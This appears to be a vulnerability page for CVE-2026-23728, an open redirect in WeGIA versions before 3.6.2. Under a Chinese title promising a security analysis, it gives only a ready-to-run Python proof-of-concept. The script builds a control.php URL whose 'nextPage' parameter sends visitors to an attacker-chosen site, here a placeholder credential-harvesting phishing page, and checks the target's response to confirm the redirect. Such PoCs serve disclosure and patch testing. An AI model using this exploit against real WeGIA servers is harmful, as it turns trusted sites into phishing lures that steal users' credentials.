CVE-2026-23728 WeGIA开放重定向漏洞安全分析

# CVE-2026-23728 Open Redirect PoC # Target: WeGIA < 3.6.2 # Endpoint: /WeGIA/controle/control.php import requests from urllib.parse import urlencode def exploit_open_redirect(target_url, redirect_target): """ Exploit WeGIA Open Redirect vulnerability Args: target_url: Base URL of vulnerable WeGIA instance redirect_target: Malicious URL to redirect victims to Returns: Malicious URL that triggers the redirect """ params = { 'metodo': 'listarTodos', 'nomeClasse': 'DestinoControle', 'nextPage': redirect_target } exploit_url = f"{target_url}/WeGIA/controle/control.php?{urlencode(params)}" print(f"[*] Target: {target_url}") print(f"[*] Malicious URL: {exploit_url}") print(f"[*] Victims will be redirected to: {redirect_target}") # Optional: Send request to verify vulnerability try: response = requests.get(exploit_url, allow_redirects=False) if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') print(f"[+] Vulnerable! Redirects to: {location}") return exploit_url else: print(f"[-] Response status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") return exploit_url # Example usage if __name__ == "__main__": target = "http://vulnerable-wegia-server.com" malicious_url = "https://phishing-site.com/credential-harvest" exploit_open_redirect(target, malicious_url)